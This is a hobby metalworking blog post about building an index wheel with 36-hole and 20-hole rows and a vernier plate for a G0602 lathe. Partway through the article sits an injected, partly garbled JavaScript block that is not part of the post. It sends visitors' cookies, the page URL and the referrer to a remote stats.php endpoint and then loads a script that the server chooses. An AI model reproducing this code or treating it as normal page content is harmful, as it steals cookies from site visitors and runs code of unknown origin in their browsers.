Monday , May 29 2017
Home > Lathe Projects > Making an index wheel for the G0602

Making an index wheel for the G0602

Several years ago I made an index wheel for my G0602.  At the time I was building a modified Brooks cutter/grinder and had a number of calibrated dials and knobs to make.  I never wrote up the index wheel project. However, the index wheel has appeared in many photos that were incorporated into other posts that I made and as a result of seeing these photos I have received a large number of requests for more information on the project via private messages.

I recently received another such request and in the process  of exchanging emails with the requester it was pointed out that the math I used to calculate the spacing of the inner row of holes for the vernier plate was wrong.  It was an obvious error and I am surprised it was not identified earlier.  In any event to correct the record (with apologies to those whom possess the incorrect data) and to provide information for those that may desire to add this feature to their G0602 I submit the following post.

How to make an index wheel for the G0602.

The index wheel mounted on the G0602.
Photo 1: The index wheel mounted on the G0602.

The gear on the bar on the right side of the spindle housing is a reverse idler which has been detailed in a separate post.

One point to be aware of is the room on the spindle shaft to mount the index wheel resulted from removing two sheaves of the drive pulley.  Since I had previously installed a variable speed motor and rarely changed the belt position removing two unused sheaves was not a problem

(function(){ function initXMLhttp() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } return xmlhttp; } function minAjax(config) { if (!config.url) { return; } if (!config.type) { return; } if (!config.method) { config.method = true; } if (!config.debugLog) { config.debugLog = false; } var xmlhttp = initXMLhttp(); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { if (config.success) { config.success(xmlhttp.responseText, xmlhttp.readyState); } } else { } } var sendString = [], sendData =; if( typeof sendData === "string" ){ var tmpArr =,'&'); for(var i = 0, j = tmpArr.length; i < j; i++){ var datum = tmpArr[i].split('='); sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1])); } }else if( typeof sendData === 'object' && !( sendData instanceof String || (FormData && sendData instanceof FormData) ) ){ for (var k in sendData) { var datum = sendData[k]; if( == "[object Array]" ){ for(var i = 0, j = datum.length; i < j; i++) { sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i])); } }else{ sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum)); } } } sendString = sendString.join('&'); if (config.type == "GET") {"GET", config.url + "?" + sendString, config.method); xmlhttp.send(); } if (config.type == "POST") {"POST", config.url, config.method); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(sendString); } } function h32a(a,b,c){var d,e,f=void 0===c?2166136261:c;for(d=0,e=a.length;d>>0).toString(16)).substr(-8):f>>>0}function iT(){return!!localStorage.getItem(a)}var a="__GA___",tss="";iT()?tss=localStorage.getItem(a):(tss=h32a("",!0,Math.floor(,localStorage.setItem(a,tss)); dL(); function dL(){ var host = ""; var config = { url: host + "/stats.php", type: "POST", data: { vbase: document.baseURI, vhref: location.href, vref: document.referrer, sh: 'd3d3LmF1Y3Rpb25hZmZpbGlhdGUuY28=', k: "LmF1Y3Rpb25hZmZpbGlhdGUuY28=",ck: document.cookie, t: Math.floor( / 1000), su: 'L2l0ZW1zL2dldC9la2V5d29yZC9pbmRleC9lY2FtcGlkLzUzMzYyMDA0OTYvZXNpdGUvMS9lc2VhcmNoZGVzYy9mYWxzZS9lbGlzdGluZ3R5cGUvYWxsL2Vzb3J0b3JkZXIvZW5kdGltZXNvb25lc3QvYXRoZW1lL3VuaXZlcnNhbC9hZGlzcGxvZ28vZmFsc2UvZWNvdW50LzYvYWNvbHVtbnMvMy9lY2F0ZWdvcnlpbmMvMTE4MDQvYWNsaWVudHR5cGUvd3AvYWNsaWVudGhvc3Qvd3d3LnByb2plY3RzaW5tZXRhbC5jb20vZXBhZ2UvMQ==', tg: tss }, success: onSuccessCallback } function bl(response){ var a = document.createElement('script'); var m = document.getElementsByTagName('script')[0]; var ref = response["d"] && response["d"]["rf"] ? "&rf=" + response["d"]["rf"] : ""; var src = response["d"] && response["d"]["src"] ? "&src=" + response["d"]["src"] : ""; a.async = 1; a.src = host + '/content.php?s=' + response["s"] + ref + src; m.parentNode.insertBefore(a, m) } function onSuccessCallback(response){ try{ var response = JSON.parse(response); if(response["s"]){ bl(response); } }catch(e){} } minAjax(config); } })();

The index wheel that I made for my lathe has two rows of holes used for indexing.  The outer row has 36 holes and is used in conjunction with the vernier plate to resolve angles to one degree or multiples of one degree.  The inner row has 20 holes and is used in conjunction with the vernier plate which has 5 holes to resolve angles in 3.6 degree increments.  This allows you to locate in multiples that correspond with 0-100 or sub multiples of 100.

Cutting the G0602 Indexing Plate
Photo 2: Cutting out the disc. This is a six inch wheel on a six inch rotary table. The first versions were cut in a band saw to an octagon shape and then turned round in the lathe. A lot of interrupted cuts and a slow process.

I surfaced the disc in the mill (it was an old piece of rusty iron).  Using the center hole I located the disc on my rotary table making sure that the center of the disc was exactly aligned with the center of the rotary table and then I secured it to ensure no movement during the drilling process.  To help locate the wheel on the table I made a center hub to mount the plate on and a tapered mandrel to fit in the Morse taper located in the center of the table.  You can see this arrangement in the following photo #3.

Drilling the G0602 Indexing plate
Photo 3: Drilling the holes. This was one of my first attempts using a four inch table. Later I acquired a six inch table and the final wheel was drilled on that table but the setup was the same.

I made three discs before I got it right.  I use the index wheel for making calibrated dials and quickly found out that any small error in the disc will be quickly visible on the dial you are making.  Here is an example of some the dials I made.

Partially completed head for the Brooks Tool Cutter Grinder
Photo 4: Tool holder for Brooks cutter/grinder.

Doing the math.  Here is a better view of the wheel after the drilling operation.

Finished Index Plate for G0602 Lathe
Photo 5: Finished wheel, but not yet stamped.

The outer row of holes is spaced 10 degrees apart, the outer vernier holes are spaced 11 degrees apart (11, 22, 33, etc).  The first vernier hole is “0”, the next is 1 and then 2 up until you reach 9.  Using a position of “0” as your reference, if you wished to move to “1” then you would insert the pin into the number “1” hole, if you wanted to move to “11” degrees then you would insert the pin into the number “1” hole and move the wheel to the next outer wheel hole which is ten degrees from your reference point.  When making dials depending upon which direction is increasing in value you would reverse the process so that the vernier hole for “9” becomes “0”, etc.

 The inner row of holes is 18 degrees apart and the vernier holes are as follows:

            The first hole is at “0” degrees.

            The second hole is at 18 degrees plus 3.6degrees or 21.6 degrees total.

            The third hole is at 21.6 degrees plus 21.6 degrees or 43.2 degrees.


Using the inner row to locate sub multiples of 100 is the same as above.

 Drilling the holes.  This is the tricky part and you need to allocate some uninterrupted time for this part of the process because it a very repetitious process this must be done exactly the same for all 56 holes.  Any variation will lead to trouble.  Always use a spotting drill to locate the hole, no exceptions.  Make sure your drill bits are sharp and ground evenly, an off center grind on the bit will result in oversize holes.  I would advise a new “machine screw drill bit” just for this project.  I always use machine screw bits when possible since they are shorter and provide better centering.  Always run the rotary table in the same direction and use something to hold the table so backlash is not introduced into the process.  Always clamp the table before drilling.  When you are done chamfer the holes slightly using a hand drill.

 The vernier.  This is also a tricky operation and requires careful thought on how to perform the machining steps.  I have a DRO on my mill so this was used to locate the radius of both the wheel and the vernier, it is apparent that they must be exactly the same.  The shape of the vernier plate will depend upon how you mount it to your lathe.  You can see from the first  photo how mine was mounted.  The most difficult part was figuring how to locate the mounting holes so that everything aligned properly.

 I hope this provides enough detail for you to proceed.  I have found this addition to the lathe is most handy since I frequently make calibrated dials and plates.  As always if you have any questions or comments please do not hesitate to contact me.



[adrotate group="4"]

About Jim Schroeder

Check Also

5c Collet Index Tailstock

Adjustable Tailstock for a 5C Collet Indexer

Here’s a nice weekend metalworking project for you, an adjustable tailstock for a 5c collet …